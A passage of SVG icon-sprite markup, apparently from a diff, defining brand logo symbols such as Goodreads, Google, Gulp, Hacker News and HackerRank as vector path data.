40.9-87.9 75.3-87.5 46.9-.2 71.8 31.8 78.2 78.3zM448 88v336c0 30.9-25.1 56-56 56H56c-30.9 0-56-25.1-56-56V88c0-30.9 25.1-56 56-56h336c30.9 0 56 25.1 56 56zM330 313.2s-.1-34-.1-217.3h-29v40.3c-.8.3-1.2-.5-1.6-1.2-9.6-20.7-35.9-46.3-76-46-51.9.4-87.2 31.2-100.6 77.8-4.3 14.9-5.8 30.1-5.5 45.6 1.7 77.9 45.1 117.8 112.4 115.2 28.9-1.1 54.5-17 69-45.2.5-1 1.1-1.9 1.7-2.9.2.1.4.1.6.2.3 3.8.2 30.7.1 34.5-.2 14.8-2 29.5-7.2 43.5-7.8 21-22.3 34.7-44.5 39.5-17.8 3.9-35.6 3.8-53.2-1.2-21.5-6.1-36.5-19-41.1-41.8-.3-1.6-1.3-1.3-2.3-1.3h-26.8c.8 10.6 3.2 20.3 8.5 29.2 24.2 40.5 82.7 48.5 128.2 37.4 49.9-12.3 67.3-54.9 67.4-106.3z"></path> + </symbol> + <symbol id="goodreads-g" viewBox="0 0 384 512"> + <path d="M42.6 403.3h2.8c12.7 0 25.5 0 38.2.1 1.6 0 3.1-.4 3.6 2.1 7.1 34.9 30 54.6 62.9 63.9 26.9 7.6 54.1 7.8 81.3 1.8 33.8-7.4 56-28.3 68-60.4 8-21.5 10.7-43.8 11-66.5.1-5.8.3-47-.2-52.8l-.9-.3c-.8 1.5-1.7 2.9-2.5 4.4-22.1 43.1-61.3 67.4-105.4 69.1-103 4-169.4-57-172-176.2-.5-23.7 1.8-46.9 8.3-69.7C58.3 47.7 112.3.6 191.6 0c61.3-.4 101.5 38.7 116.2 70.3.5 1.1 1.3 2.3 2.4 1.9V10.6h44.3c0 280.3.1 332.2.1 332.2-.1 78.5-26.7 143.7-103 162.2-69.5 16.9-159 4.8-196-57.2-8-13.5-11.8-28.3-13-44.5zM188.9 36.5c-52.5-.5-108.5 40.7-115 133.8-4.1 59 14.8 122.2 71.5 148.6 27.6 12.9 74.3 15 108.3-8.7 47.6-33.2 62.7-97 54.8-154-9.7-71.1-47.8-120-119.6-119.7z"></path> + </symbol> + <symbol id="google" viewBox="0 0 488 512"> + <path d="M488 261.8C488 403.3 391.1 504 248 504 110.8 504 0 393.2 0 256S110.8 8 248 8c66.8 0 123 24.5 166.3 64.9l-67.5 64.9C258.5 52.6 94.3 116.6 94.3 256c0 86.5 69.1 156.6 153.7 156.6 98.2 0 135-70.4 140.8-106.9H248v-85.3h236.1c2.3 12.7 3.9 24.9 3.9 41.4z"></path> + </symbol> + <symbol id="google-drive" viewBox="0 0 512 512"> + <path d="M339 314.9L175.4 32h161.2l163.6 282.9H339zm-137.5 23.6L120.9 480h310.5L512 338.5H201.5zM154.1 67.4L0 338.5 80.6 480 237 208.8 154.1 67.4z"></path> + </symbol> + <symbol id="google-pay" viewBox="0 0 640 512"> + <path d="M105.72,215v41.25h57.1a49.66,49.66,0,0,1-21.14,32.6c-9.54,6.55-21.72,10.28-36,10.28-27.6,0-50.93-18.91-59.3-44.22a65.61,65.61,0,0,1,0-41l0,0c8.37-25.46,31.7-44.37,59.3-44.37a56.43,56.43,0,0,1,40.51,16.08L176.47,155a101.24,101.24,0,0,0-70.75-27.84,105.55,105.55,0,0,0-94.38,59.11,107.64,107.64,0,0,0,0,96.18v.15a105.41,105.41,0,0,0,94.38,59c28.47,0,52.55-9.53,70-25.91,20-18.61,31.41-46.15,31.41-78.91A133.76,133.76,0,0,0,205.38,215Zm389.41-4c-10.13-9.38-23.93-14.14-41.39-14.14-22.46,0-39.34,8.34-50.5,24.86l20.85,13.26q11.45-17,31.26-17a34.05,34.05,0,0,1,22.75,8.79A28.14,28.14,0,0,1,487.79,248v5.51c-9.1-5.07-20.55-7.75-34.64-7.75-16.44,0-29.65,3.88-39.49,11.77s-14.82,18.31-14.82,31.56a39.74,39.74,0,0,0,13.94,31.27c9.25,8.34,21,12.51,34.79,12.51,16.29,0,29.21-7.3,39-21.89h1v17.72h22.61V250C510.25,233.45,505.26,220.34,495.13,211ZM475.9,300.3a37.32,37.32,0,0,1-26.57,11.16A28.61,28.61,0,0,1,431,305.21a19.41,19.41,0,0,1-7.77-15.63c0-7,3.22-12.81,9.54-17.42s14.53-7,24.07-7C470,265,480.3,268,487.64,273.94,487.64,284.07,483.68,292.85,475.9,300.3Zm-93.65-142A55.71,55.71,0,0,0,341.74,142H279.07V328.74H302.7V253.1h39c16,0,29.5-5.36,40.51-15.93.88-.89,1.76-1.79,2.65-2.68A54.45,54.45,0,0,0,382.25,158.26Zm-16.58,62.23a30.65,30.65,0,0,1-23.34,9.68H302.7V165h39.63a32,32,0,0,1,22.6,9.23A33.18,33.18,0,0,1,365.67,220.49ZM614.31,201,577.77,292.7h-.45L539.9,201H514.21L566,320.55l-29.35,64.32H561L640,201Z"></path> + </symbol> + <symbol id="google-play" viewBox="0 0 512 512"> + <path d="M325.3 234.3L104.6 13l280.8 161.2-60.1 60.1zM47 0C34 6.8 25.3 19.2 25.3 35.3v441.3c0 16.1 8.7 28.5 21.7 35.3l256.6-256L47 0zm425.2 225.6l-58.9-34.1-65.7 64.5 65.7 64.5 60.1-34.1c18-14.3 18-46.5-1.2-60.8zM104.6 499l280.8-161.2-60.1-60.1L104.6 499z"></path> + </symbol> + <symbol id="google-plus" viewBox="0 0 512 512"> + <path d="M256,8C119.1,8,8,119.1,8,256S119.1,504,256,504,504,392.9,504,256,392.9,8,256,8ZM185.3,380a124,124,0,0,1,0-248c31.3,0,60.1,11,83,32.3l-33.6,32.6c-13.2-12.9-31.3-19.1-49.4-19.1-42.9,0-77.2,35.5-77.2,78.1S142.3,334,185.3,334c32.6,0,64.9-19.1,70.1-53.3H185.3V238.1H302.2a109.2,109.2,0,0,1,1.9,20.7c0,70.8-47.5,121.2-118.8,121.2ZM415.5,273.8v35.5H380V273.8H344.5V238.3H380V202.8h35.5v35.5h35.2v35.5Z"></path> + </symbol> + <symbol id="google-plus-g" viewBox="0 0 640 512"> + <path d="M386.061 228.496c1.834 9.692 3.143 19.384 3.143 31.956C389.204 370.205 315.599 448 204.8 448c-106.084 0-192-85.915-192-192s85.916-192 192-192c51.864 0 95.083 18.859 128.611 50.292l-52.126 50.03c-14.145-13.621-39.028-29.599-76.485-29.599-65.484 0-118.92 54.221-118.92 121.277 0 67.056 53.436 121.277 118.92 121.277 75.961 0 104.513-54.745 108.965-82.773H204.8v-66.009h181.261zm185.406 6.437V179.2h-56.001v55.733h-55.733v56.001h55.733v55.733h56.001v-55.733H627.2v-56.001h-55.733z"></path> + </symbol> + <symbol id="google-plus-square" viewBox="0 0 448 512"> + <path d="M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zM164 356c-55.3 0-100-44.7-100-100s44.7-100 100-100c27 0 49.5 9.8 67 26.2l-27.1 26.1c-7.4-7.1-20.3-15.4-39.8-15.4-34.1 0-61.9 28.2-61.9 63.2 0 34.9 27.8 63.2 61.9 63.2 39.6 0 54.4-28.5 56.8-43.1H164v-34.4h94.4c1 5 1.6 10.1 1.6 16.6 0 57.1-38.3 97.6-96 97.6zm220-81.8h-29v29h-29.2v-29h-29V245h29v-29H355v29h29v29.2z"></path> + </symbol> + <symbol id="google-wallet" viewBox="0 0 448 512"> + <path d="M156.8 126.8c37.6 60.6 64.2 113.1 84.3 162.5-8.3 33.8-18.8 66.5-31.3 98.3-13.2-52.3-26.5-101.3-56-148.5 6.5-36.4 2.3-73.6 3-112.3zM109.3 200H16.1c-6.5 0-10.5 7.5-6.5 12.7C51.8 267 81.3 330.5 101.3 400h103.5c-16.2-69.7-38.7-133.7-82.5-193.5-3-4-8-6.5-13-6.5zm47.8-88c68.5 108 130 234.5 138.2 368H409c-12-138-68.4-265-143.2-368H157.1zm251.8-68.5c-1.8-6.8-8.2-11.5-15.2-11.5h-88.3c-5.3 0-9 5-7.8 10.3 13.2 46.5 22.3 95.5 26.5 146 48.2 86.2 79.7 178.3 90.6 270.8 15.8-60.5 25.3-133.5 25.3-203 0-73.6-12.1-145.1-31.1-212.6z"></path> + </symbol> + <symbol id="gratipay" viewBox="0 0 496 512"> + <path d="M248 8C111.1 8 0 119.1 0 256s111.1 248 248 248 248-111.1 248-248S384.9 8 248 8zm114.6 226.4l-113 152.7-112.7-152.7c-8.7-11.9-19.1-50.4 13.6-72 28.1-18.1 54.6-4.2 68.5 11.9 15.9 17.9 46.6 16.9 61.7 0 13.9-16.1 40.4-30 68.1-11.9 32.9 21.6 22.6 60 13.8 72z"></path> + </symbol> + <symbol id="grav" viewBox="0 0 512 512"> + <path d="M301.1 212c4.4 4.4 4.4 11.9 0 16.3l-9.7 9.7c-4.4 4.7-11.9 4.7-16.6 0l-10.5-10.5c-4.4-4.7-4.4-11.9 0-16.6l9.7-9.7c4.4-4.4 11.9-4.4 16.6 0l10.5 10.8zm-30.2-19.7c3-3 3-7.8 0-10.5-2.8-3-7.5-3-10.5 0-2.8 2.8-2.8 7.5 0 10.5 3.1 2.8 7.8 2.8 10.5 0zm-26 5.3c-3 2.8-3 7.5 0 10.2 2.8 3 7.5 3 10.5 0 2.8-2.8 2.8-7.5 0-10.2-3-3-7.7-3-10.5 0zm72.5-13.3c-19.9-14.4-33.8-43.2-11.9-68.1 21.6-24.9 40.7-17.2 59.8.8 11.9 11.3 29.3 24.9 17.2 48.2-12.5 23.5-45.1 33.2-65.1 19.1zm47.7-44.5c-8.9-10-23.3 6.9-15.5 16.1 7.4 9 32.1 2.4 15.5-16.1zM504 256c0 137-111 248-248 248S8 393 8 256 119 8 256 8s248 111 248 248zm-66.2 42.6c2.5-16.1-20.2-16.6-25.2-25.7-13.6-24.1-27.7-36.8-54.5-30.4 11.6-8 23.5-6.1 23.5-6.1.3-6.4 0-13-9.4-24.9 3.9-12.5.3-22.4.3-22.4 15.5-8.6 26.8-24.4 29.1-43.2 3.6-31-18.8-59.2-49.8-62.8-22.1-2.5-43.7 7.7-54.3 25.7-23.2 40.1 1.4 70.9 22.4 81.4-14.4-1.4-34.3-11.9-40.1-34.3-6.6-25.7 2.8-49.8 8.9-61.4 0 0-4.4-5.8-8-8.9 0 0-13.8 0-24.6 5.3 11.9-15.2 25.2-14.4 25.2-14.4 0-6.4-.6-14.9-3.6-21.6-5.4-11-23.8-12.9-31.7 2.8.1-.2.3-.4.4-.5-5 11.9-1.1 55.9 16.9 87.2-2.5 1.4-9.1 6.1-13 10-21.6 9.7-56.2 60.3-56.2 60.3-28.2 10.8-77.2 50.9-70.6 79.7.3 3 1.4 5.5 3 7.5-2.8 2.2-5.5 5-8.3 8.3-11.9 13.8-5.3 35.2 17.7 24.4 15.8-7.2 29.6-20.2 36.3-30.4 0 0-5.5-5-16.3-4.4 27.7-6.6 34.3-9.4 46.2-9.1 8 3.9 8-34.3 8-34.3 0-14.7-2.2-31-11.1-41.5 12.5 12.2 29.1 32.7 28 60.6-.8 18.3-15.2 23-15.2 23-9.1 16.6-43.2 65.9-30.4 106 0 0-9.7-14.9-10.2-22.1-17.4 19.4-46.5 52.3-24.6 64.5 26.6 14.7 108.8-88.6 126.2-142.3 34.6-20.8 55.4-47.3 63.9-65 22 43.5 95.3 94.5 101.1 59z"></path> + </symbol> + <symbol id="gripfire" viewBox="0 0 384 512"> + <path d="M112.5 301.4c0-73.8 105.1-122.5 105.1-203 0-47.1-34-88-39.1-90.4.4 3.3.6 6.7.6 10C179.1 110.1 32 171.9 32 286.6c0 49.8 32.2 79.2 66.5 108.3 65.1 46.7 78.1 71.4 78.1 86.6 0 10.1-4.8 17-4.8 22.3 13.1-16.7 17.4-31.9 17.5-46.4 0-29.6-21.7-56.3-44.2-86.5-16-22.3-32.6-42.6-32.6-69.5zm205.3-39c-12.1-66.8-78-124.4-94.7-130.9l4 7.2c2.4 5.1 3.4 10.9 3.4 17.1 0 44.7-54.2 111.2-56.6 116.7-2.2 5.1-3.2 10.5-3.2 15.8 0 20.1 15.2 42.1 17.9 42.1 2.4 0 56.6-55.4 58.1-87.7 6.4 11.7 9.1 22.6 9.1 33.4 0 41.2-41.8 96.9-41.8 96.9 0 11.6 31.9 53.2 35.5 53.2 1 0 2.2-1.4 3.2-2.4 37.9-39.3 67.3-85 67.3-136.8 0-8-.7-16.2-2.2-24.6z"></path> + </symbol> + <symbol id="grunt" viewBox="0 0 384 512"> + <path d="M61.3 189.3c-1.1 10 5.2 19.1 5.2 19.1.7-7.5 2.2-12.8 4-16.6.4 10.3 3.2 23.5 12.8 34.1 6.9 7.6 35.6 23.3 54.9 6.1 1 2.4 2.1 5.3 3 8.5 2.9 10.3-2.7 25.3-2.7 25.3s15.1-17.1 13.9-32.5c10.8-.5 21.4-8.4 21.1-19.5 0 0-18.9 10.4-35.5-8.8-9.7-11.2-40.9-42-83.1-31.8 4.3 1 8.9 2.4 13.5 4.1h-.1c-4.2 2-6.5 7.1-7 12zm28.3-1.8c19.5 11 37.4 25.7 44.9 37-5.7 3.3-21.7 10.4-38-1.7-10.3-7.6-9.8-26.2-6.9-35.3zm142.1 45.8c-1.2 15.5 13.9 32.5 13.9 32.5s-5.6-15-2.7-25.3c.9-3.2 2-6 3-8.5 19.3 17.3 48 1.5 54.8-6.1 9.6-10.6 12.3-23.8 12.8-34.1 1.8 3.8 3.4 9.1 4 16.6 0 0 6.4-9.1 5.2-19.1-.6-5-2.9-10-7-11.8h-.1c4.6-1.8 9.2-3.2 13.5-4.1-42.3-10.2-73.4 20.6-83.1 31.8-16.7 19.2-35.5 8.8-35.5 8.8-.2 10.9 10.4 18.9 21.2 19.3zm62.7-45.8c3 9.1 3.4 27.7-7 35.4-16.3 12.1-32.2 5-37.9 1.6 7.5-11.4 25.4-26 44.9-37zM160 418.5h-29.4c-5.5 0-8.2 1.6-9.5 2.9-1.9 2-2.2 4.7-.9 8.1 3.5 9.1 11.4 16.5 13.7 18.6 3.1 2.7 7.5 4.3 11.8 4.3 4.4 0 8.3-1.7 11-4.6 7.5-8.2 11.9-17.1 13-19.8.6-1.5 1.3-4.5-.9-6.8-1.8-1.8-4.7-2.7-8.8-2.7zm189.2-101.2c-2.4 17.9-13 33.8-24.6 43.7-3.1-22.7-3.7-55.5-3.7-62.4 0-14.7 9.5-24.5 12.2-26.1 2.5-1.5 5.4-3 8.3-4.6 18-9.6 40.4-21.6 40.4-43.7 0-16.2-9.3-23.2-15.4-27.8-.8-.6-1.5-1.1-2.2-1.7-2.1-1.7-3.7-3-4.3-4.4-4.4-9.8-3.6-34.2-1.7-37.6.6-.6 16.7-20.9 11.8-39.2-2-7.4-6.9-13.3-14.1-17-5.3-2.7-11.9-4.2-19.5-4.5-.1-2-.5-3.9-.9-5.9-.6-2.6-1.1-5.3-.9-8.1.4-4.7.8-9 2.2-11.3 8.4-13.3 28.8-17.6 29-17.6l12.3-2.4-8.1-9.5c-.1-.2-17.3-17.5-46.3-17.5-7.9 0-16 1.3-24.1 3.9-24.2 7.8-42.9 30.5-49.4 39.3-3.1-1-6.3-1.9-9.6-2.7-4.2-15.8 9-38.5 9-38.5s-13.6-3-33.7 15.2c-2.6-6.5-8.1-20.5-1.8-37.2C184.6 10.1 177.2 26 175 40.4c-7.6-5.4-6.7-23.1-7.2-27.6-7.5.9-29.2 21.9-28.2 48.3-2 .5-3.9 1.1-5.9 1.7-6.5-8.8-25.1-31.5-49.4-39.3-7.9-2.2-16-3.5-23.9-3.5-29 0-46.1 17.3-46.3 17.5L6 46.9l12.3 2.4c.2 0 20.6 4.3 29 17.6 1.4 2.2 1.8 6.6 2.2 11.3.2 2.8-.4 5.5-.9 8.1-.4 1.9-.8 3.9-.9 5.9-7.7.3-14.2 1.8-19.5 4.5-7.2 3.7-12.1 9.6-14.1 17-5 18.2 11.2 38.5 11.8 39.2 1.9 3.4 2.7 27.8-1.7 37.6-.6 1.4-2.2 2.7-4.3 4.4-.7.5-1.4 1.1-2.2 1.7-6.1 4.6-15.4 11.7-15.4 27.8 0 22.1 22.4 34.1 40.4 43.7 3 1.6 5.8 3.1 8.3 4.6 2.7 1.6 12.2 11.4 12.2 26.1 0 6.9-.6 39.7-3.7 62.4-11.6-9.9-22.2-25.9-24.6-43.8 0 0-29.2 22.6-20.6 70.8 5.2 29.5 23.2 46.1 47 54.7 8.8 19.1 29.4 45.7 67.3 49.6C143 504.3 163 512 192.2 512h.2c29.1 0 49.1-7.7 63.6-19.5 37.9-3.9 58.5-30.5 67.3-49.6 23.8-8.7 41.7-25.2 47-54.7 8.2-48.4-21.1-70.9-21.1-70.9zM305.7 37.7c5.6-1.8 11.6-2.7 17.7-2.7 11 0 19.9 3 24.7 5-3.1 1.4-6.4 3.2-9.7 5.3-2.4-.4-5.6-.8-9.2-.8-10.5 0-20.5 3.1-28.7 8.9-12.3 8.7-18 16.9-20.7 22.4-2.2-1.3-4.5-2.5-7.1-3.7-1.6-.8-3.1-1.5-4.7-2.2 6.1-9.1 19.9-26.5 37.7-32.2zm21 18.2c-.8 1-1.6 2.1-2.3 3.2-3.3 5.2-3.9 11.6-4.4 17.8-.5 6.4-1.1 12.5-4.4 17-4.2.8-8.1 1.7-11.5 2.7-2.3-3.1-5.6-7-10.5-11.2 1.4-4.8 5.5-16.1 13.5-22.5 5.6-4.3 12.2-6.7 19.6-7zM45.6 45.3c-3.3-2.2-6.6-4-9.7-5.3 4.8-2 13.7-5 24.7-5 6.1 0 12 .9 17.7 2.7 17.8 5.8 31.6 23.2 37.7 32.1-1.6.7-3.2 1.4-4.8 2.2-2.5 1.2-4.9 2.5-7.1 3.7-2.6-5.4-8.3-13.7-20.7-22.4-8.3-5.8-18.2-8.9-28.8-8.9-3.4.1-6.6.5-9 .9zm44.7 40.1c-4.9 4.2-8.3 8-10.5 11.2-3.4-.9-7.3-1.9-11.5-2.7C65 89.5 64.5 83.4 64 77c-.5-6.2-1.1-12.6-4.4-17.8-.7-1.1-1.5-2.2-2.3-3.2 7.4.3 14 2.6 19.5 7 8 6.3 12.1 17.6 13.5 22.4zM58.1 259.9c-2.7-1.6-5.6-3.1-8.4-4.6-14.9-8-30.2-16.3-30.2-30.5 0-11.1 4.3-14.6 8.9-18.2l.5-.4c.7-.6 1.4-1.2 2.2-1.8-.9 7.2-1.9 13.3-2.7 14.9 0 0 12.1-15 15.7-44.3 1.4-11.5-1.1-34.3-5.1-43 .2 4.9 0 9.8-.3 14.4-.4-.8-.8-1.6-1.3-2.2-3.2-4-11.8-17.5-9.4-26.6.9-3.5 3.1-6 6.7-7.8 3.8-1.9 8.8-2.9 15.1-2.9 12.3 0 25.9 3.7 32.9 6 25.1 8 55.4 30.9 64.1 37.7.2.2.4.3.4.3l5.6 3.9-3.5-5.8c-.2-.3-19.1-31.4-53.2-46.5 2-2.9 7.4-8.1 21.6-15.1 21.4-10.5 46.5-15.8 74.3-15.8 27.9 0 52.9 5.3 74.3 15.8 14.2 6.9 19.6 12.2 21.6 15.1-34 15.1-52.9 46.2-53.1 46.5l-3.5 5.8 5.6-3.9s.2-.1.4-.3c8.7-6.8 39-29.8 64.1-37.7 7-2.2 20.6-6 32.9-6 6.3 0 11.3 1 15.1 2.9 3.5 1.8 5.7 4.4 6.7 7.8 2.5 9.1-6.1 22.6-9.4 26.6-.5.6-.9 1.3-1.3 2.2-.3-4.6-.5-9.5-.3-14.4-4 8.8-6.5 31.5-5.1 43 3.6 29.3 15.7 44.3 15.7 44.3-.8-1.6-1.8-7.7-2.7-14.9.7.6 1.5 1.2 2.2 1.8l.5.4c4.6 3.7 8.9 7.1 8.9 18.2 0 14.2-15.4 22.5-30.2 30.5-2.9 1.5-5.7 3.1-8.4 4.6-8.7 5-18 16.7-19.1 34.2-.9 14.6.9 49.9 3.4 75.9-12.4 4.8-26.7 6.4-39.7 6.8-2-4.1-3.9-8.5-5.5-13.1-.7-2-19.6-51.1-26.4-62.2 5.5 39 17.5 73.7 23.5 89.6-3.5-.5-7.3-.7-11.7-.7h-117c-4.4 0-8.3.3-11.7.7 6-15.9 18.1-50.6 23.5-89.6-6.8 11.2-25.7 60.3-26.4 62.2-1.6 4.6-3.5 9-5.5 13.1-13-.4-27.2-2-39.7-6.8 2.5-26 4.3-61.2 3.4-75.9-.9-17.4-10.3-29.2-19-34.2zM34.8 404.6c-12.1-20-8.7-54.1-3.7-59.1 10.9 34.4 47.2 44.3 74.4 45.4-2.7 4.2-5.2 7.6-7 10l-1.4 1.4c-7.2 7.8-8.6 18.5-4.1 31.8-22.7-.1-46.3-9.8-58.2-29.5zm45.7 43.5c6 1.1 12.2 1.9 18.6 2.4 3.5 8 7.4 15.9 12.3 23.1-14.4-5.9-24.4-16-30.9-25.5zM192 498.2c-60.6-.1-78.3-45.8-84.9-64.7-3.7-10.5-3.4-18.2.9-23.1 2.9-3.3 9.5-7.2 24.6-7.2h118.8c15.1 0 21.8 3.9 24.6 7.2 4.2 4.8 4.5 12.6.9 23.1-6.6 18.8-24.3 64.6-84.9 64.7zm80.6-24.6c4.9-7.2 8.8-15.1 12.3-23.1 6.4-.5 12.6-1.3 18.6-2.4-6.5 9.5-16.5 19.6-30.9 25.5zm76.6-69c-12 19.7-35.6 29.3-58.1 29.7 4.5-13.3 3.1-24.1-4.1-31.8-.4-.5-.9-1-1.4-1.5-1.8-2.4-4.3-5.8-7-10 27.2-1.2 63.5-11 74.4-45.4 5 5 8.4 39.1-3.8 59zM191.9 187.7h.2c12.7-.1 27.2-17.8 27.2-17.8-9.9 6-18.8 8.1-27.3 8.3-8.5-.2-17.4-2.3-27.3-8.3 0 0 14.5 17.6 27.2 17.8zm61.7 230.7h-29.4c-4.2 0-7.2.9-8.9 2.7-2.2 2.3-1.5 5.2-.9 6.7 1 2.6 5.5 11.3 13 19.3 2.7 2.9 6.6 4.5 11 4.5s8.7-1.6 11.8-4.2c2.3-2 10.2-9.2 13.7-18.1 1.3-3.3 1-6-.9-7.9-1.3-1.3-4-2.9-9.4-3z"></path> + </symbol> + <symbol id="guilded" viewBox="0 0 448 512"> + <path d="M443.427,64H4.571c0,103.26,22.192,180.06,43.418,222.358C112.046,414.135,224,448,225.256,448a312.824,312.824,0,0,0,140.55-103.477c25.907-33.923,53.1-87.19,65.916-145.761H171.833c4.14,36.429,22.177,67.946,45.1,86.944h88.589c-17.012,28.213-48.186,54.4-80.456,69.482-31.232-13.259-69.09-46.544-96.548-98.362-26.726-53.833-27.092-105.883-27.092-105.883H437.573A625.91,625.91,0,0,0,443.427,64Z"></path> + </symbol> + <symbol id="gulp" viewBox="0 0 256 512"> + <path d="M209.8 391.1l-14.1 24.6-4.6 80.2c0 8.9-28.3 16.1-63.1 16.1s-63.1-7.2-63.1-16.1l-5.8-79.4-14.9-25.4c41.2 17.3 126 16.7 165.6 0zm-196-253.3l13.6 125.5c5.9-20 20.8-47 40-55.2 6.3-2.7 12.7-2.7 18.7.9 5.2 3 9.6 9.3 10.1 11.8 1.2 6.5-2 9.1-4.5 9.1-3 0-5.3-4.6-6.8-7.3-4.1-7.3-10.3-7.6-16.9-2.8-6.9 5-12.9 13.4-17.1 20.7-5.1 8.8-9.4 18.5-12 28.2-1.5 5.6-2.9 14.6-.6 19.9 1 2.2 2.5 3.6 4.9 3.6 5 0 12.3-6.6 15.8-10.1 4.5-4.5 10.3-11.5 12.5-16l5.2-15.5c2.6-6.8 9.9-5.6 9.9 0 0 10.2-3.7 13.6-10 34.7-5.8 19.5-7.6 25.8-7.6 25.8-.7 2.8-3.4 7.5-6.3 7.5-1.2 0-2.1-.4-2.6-1.2-1-1.4-.9-5.3-.8-6.3.2-3.2 6.3-22.2 7.3-25.2-2 2.2-4.1 4.4-6.4 6.6-5.4 5.1-14.1 11.8-21.5 11.8-3.4 0-5.6-.9-7.7-2.4l7.6 79.6c2 5 39.2 17.1 88.2 17.1 49.1 0 86.3-12.2 88.2-17.1l10.9-94.6c-5.7 5.2-12.3 11.6-19.6 14.8-5.4 2.3-17.4 3.8-17.4-5.7 0-5.2 9.1-14.8 14.4-21.5 1.4-1.7 4.7-5.9 4.7-8.1 0-2.9-6-2.2-11.7 2.5-3.2 2.7-6.2 6.3-8.7 9.7-4.3 6-6.6 11.2-8.5 15.5-6.2 14.2-4.1 8.6-9.1 22-5 13.3-4.2 11.8-5.2 14-.9 1.9-2.2 3.5-4 4.5-1.9 1-4.5.9-6.1-.3-.9-.6-1.3-1.9-1.3-3.7 0-.9.1-1.8.3-2.7 1.5-6.1 7.8-18.1 15-34.3 1.6-3.7 1-2.6.8-2.3-6.2 6-10.9 8.9-14.4 10.5-5.8 2.6-13 2.6-14.5-4.1-.1-.4-.1-.8-.2-1.2-11.8 9.2-24.3 11.7-20-8.1-4.6 8.2-12.6 14.9-22.4 14.9-4.1 0-7.1-1.4-8.6-5.1-2.3-5.5 1.3-14.9 4.6-23.8 1.7-4.5 4-9.9 7.1-16.2 1.6-3.4 4.2-5.4 7.6-4.5.6.2 1.1.4 1.6.7 2.6 1.8 1.6 4.5.3 7.2-3.8 7.5-7.1 13-9.3 20.8-.9 3.3-2 9 1.5 9 2.4 0 4.7-.8 6.9-2.4 4.6-3.4 8.3-8.5 11.1-13.5 2-3.6 4.4-8.3 5.6-12.3.5-1.7 1.1-3.3 1.8-4.8 1.1-2.5 2.6-5.1 5.2-5.1 1.3 0 2.4.5 3.2 1.5 1.7 2.2 1.3 4.5.4 6.9-2 5.6-4.7 10.6-6.9 16.7-1.3 3.5-2.7 8-2.7 11.7 0 3.4 3.7 2.6 6.8 1.2 2.4-1.1 4.8-2.8 6.8-4.5 1.2-4.9.9-3.8 26.4-68.2 1.3-3.3 3.7-4.7 6.1-4.7 1.2 0 2.2.4 3.2 1.1 1.7 1.3 1.7 4.1 1 6.2-.7 1.9-.6 1.3-4.5 10.5-5.2 12.1-8.6 20.8-13.2 31.9-1.9 4.6-7.7 18.9-8.7 22.3-.6 2.2-1.3 5.8 1 5.8 5.4 0 19.3-13.1 23.1-17 .2-.3.5-.4.9-.6.6-1.9 1.2-3.7 1.7-5.5 1.4-3.8 2.7-8.2 5.3-11.3.8-1 1.7-1.6 2.7-1.6 2.8 0 4.2 1.2 4.2 4 0 1.1-.7 5.1-1.1 6.2 1.4-1.5 2.9-3 4.5-4.5 15-13.9 25.7-6.8 25.7.2 0 7.4-8.9 17.7-13.8 23.4-1.6 1.9-4.9 5.4-5 6.4 0 1.3.9 1.8 2.2 1.8 2 0 6.4-3.5 8-4.7 5-3.9 11.8-9.9 16.6-14.1l14.8-136.8c-30.5 17.1-197.6 17.2-228.3.2zm229.7-8.5c0 21-231.2 21-231.2 0 0-8.8 51.8-15.9 115.6-15.9 9 0 17.8.1 26.3.4l12.6-48.7L228.1.6c1.4-1.4 5.8-.2 9.9 3.5s6.6 7.9 5.3 9.3l-.1.1L185.9 74l-10 40.7c39.9 2.6 67.6 8.1 67.6 14.6zm-69.4 4.6c0-.8-.9-1.5-2.5-2.1l-.2.8c0 1.3-5 2.4-11.1 2.4s-11.1-1.1-11.1-2.4c0-.1 0-.2.1-.3l.2-.7c-1.8.6-3 1.4-3 2.3 0 2.1 6.2 3.7 13.7 3.7 7.7.1 13.9-1.6 13.9-3.7z"></path> + </symbol> + <symbol id="hacker-news" viewBox="0 0 448 512"> + <path d="M0 32v448h448V32H0zm21.2 197.2H21c.1-.1.2-.3.3-.4 0 .1 0 .3-.1.4zm218 53.9V384h-31.4V281.3L128 128h37.3c52.5 98.3 49.2 101.2 59.3 125.6 12.3-27 5.8-24.4 60.6-125.6H320l-80.8 155.1z"></path> + </symbol> + <symbol id="hacker-news-square" viewBox="0 0 448 512"> + <path d="M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zM21.2 229.2H21c.1-.1.2-.3.3-.4 0 .1 0 .3-.1.4zm218 53.9V384h-31.4V281.3L128 128h37.3c52.5 98.3 49.2 101.2 59.3 125.6 12.3-27 5.8-24.4 60.6-125.6H320l-80.8 155.1z"></path> + </symbol> + <symbol id="hackerrank" viewBox="0 0 512 512"> + <path d="M477.5 128C463 103.05 285.13 0 256.16 0S49.25 102.79 34.84 128s-14.49 230.8 0 256 192.38 128 221.32 128S463 409.08 477.49 384s14.51-231 .01-256zM316.13 414.22c-4 0-40.91-35.77-38-38.69.87-.87 6.26-1.48 17.55-1.83 0-26.23.59-68.59.94-86.32 0-2-.44-3.43-.44-5.85h-79.93c0 7.1-.46 36.2 1.37 72.88.23 4.54-1.58 6-5.74 5.94-10.13 0-20.27-.11-30.41-.08-4.1 0-5.87-1.53-5.74-6.11.92-33.44 3-84-.15-212.67v-3.17c-9.67-.35-16.38-1-17.26-1.84-2.92-2.92 34.54-38.69 38.49-38.69s41.17 35.78 38.27 38.69c-.87.87-7.9 1.49-16.77 1.84v3.16c-2.42 25.75-2 79.59-2.63 105.39h80.26c0-4.55.39-34.74-1.2-83.64-.1-3.39.95-5.17 4.21-5.2 11.07-.08 22.15-.13 33.23-.06 3.46 0 4.57 1.72 4.5 5.38C333 354.64 336 341.29 336 373.69c8.87.35 16.82 1 17.69 1.84 2.88 2.91-33.62 38.69-37.58 38.69z"></path> + </symbol> + <symbol id="hips" viewBox="0 0 640 512"> + <path d="M251.6 157.6c0-1.9-.9-2.8-2.8-2.8h-40.9c-1.6 0-2.7 1.4-2.7 2.8v201.8c0 1.4 1.1 2.8 2.7 2.8h40.9c1.9 0 2.8-.9 2.8-2.8zM156.5 168c-16.1-11.8-36.3-17.9-60.3-18-18.1-.1-34.6 3.7-49.8 11.4V80.2c0-1.8-.9-2.7-2.8-2.7H2.7c-1.8 0-2.7.9-2.7 2.7v279.2c0 1.9.9 2.8 2.7 2.8h41c1.9 